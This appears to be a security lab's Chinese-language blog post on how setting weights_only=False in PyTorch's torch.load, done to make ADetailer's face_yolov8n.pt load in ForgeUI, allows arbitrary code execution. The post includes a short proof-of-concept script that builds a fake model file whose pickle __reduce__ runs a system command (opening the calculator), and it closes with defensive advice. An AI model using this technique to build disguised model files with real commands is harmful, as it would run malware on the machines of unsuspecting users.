ADetailer插件安全问题分享
点击蓝字 关注我们
问题背景
半年前在使用ForgeUI中配合ADetailer插件生成AI图片的时候发现一个安全性问题,跟大家分享一下。
ForgeUI(也常叫 Stable Diffusion WebUI Forge)是基于原版 SD WebUI 重构的 AI 绘图前端工具,核心定位是 “更轻、更快、功能更强的文生图 / 图生图操作界面”。
ADetailer(全称 Advanced Detailer)是运行在ForgeUI/WebUI 中的扩展插件,核心定位是 “自动检测并修复图片中模糊 / 崩坏的细节”。


在使用face_yolov8n.pt模型修复面部的时候,发现一直没生效,打开控制台发现在报错。但看报错感觉问题不大,就找了一下解决方案,无论是问AI还是看一些帖子都提到了好多解决方案,一堆参数还有一些非常陌生的专业名词和方法,但自己当时很没耐心,作为一个工具的用户,当时只想简单直接地把问题解决。再者,那么多乱七八糟的解决方案,既不想付出那个时间成本,也担心花了一通的时间折腾过来折腾过去结果没生效白搭功夫。

其中有一个解决方案比较简单:新版本工具代码中weight_only参数的值默认是True。face_yolov8n.pt模型文件在加载的时候包含了不被允许的对象,所以出现了无法加载的问题。想要加载这个模型文件可以把weight_only参数设置为False,但是这样会面临安全风险。
参数修改重启之后,很顺利,确实好使了。
等忙活完,因有提到这个参数存在安全风险,就关注了一下,毕竟安全无小事。
核心风险原理
ADetailer中插件代码中用到了PyTorch。PyTorch 加载.pt/.pth模型文件时,若torch.load()默认使用weights_only=False,会触发 Python pickle模块的完整反序列化 —— 而 pickle 支持序列化类 / 函数,恶意攻击者可在模型文件中植入恶意代码,加载时直接执行(比如删文件、偷数据、执行系统命令)。
构造含恶意代码的
“假模型文件”
import torchimport os# 定义恶意类:核心是__reduce__方法(反序列化时自动执行)class FakeModel:def __init__(self):# 伪装成正常模型的属性(增加迷惑性)self.state_dict = {"fake_weight": torch.randn(10, 10)} # 假权重张量self.model_name = "yolov8n" # 伪装成YOLO模型self.version = "1.0"def __reduce__(self):# 返回要执行的函数(os.system)和参数(命令字符串)# start calc.exe是打开windows操作系统计算器的命令return (os.system, ("start calc.exe",))# 实例化恶意类(伪装成正常模型对象)malicious_obj = FakeModel()# 保存为.pt模型文件(看似正常的模型格式)torch.save(malicious_obj, "face_yolov8n.pt")print(f"假模型文件已生成:{os.path.abspath('face_yolov8n.pt')}")print("⚠️ 该文件仅用于安全测试,严禁传播/使用!")
运行验证

使用上方脚本生成的face_yolov8n.pt替换了之后,运行发现能够成功启动操作系统的计算器。
总结
很多用户在使用的时候肯定也会遇到我类似的问题场景,也许他们也会选择尝试修改weights_only的值,如果他们拿到的face_yolov8n.pt模型文件本身是恶意的文件,那么他们也就中招了。
1)核心风险:weights_only=False允许 pickle 反序列化执行任意代码,恶意模型可偷数据 / 删文件 / 控设备;
2)最简防护:所有torch.load()调用都加weights_only=True,或全局设置默认安全模式;
3)关键原则:绝不加载来源不明的.pt/.pth模型,尤其是 AI 绘图的 LoRA/ADetailer 模型。
END.
往期精彩合集
长
按
关
注
联想GIC全球安全实验室(中国)
chinaseclab@lenovo.com

夜雨聆风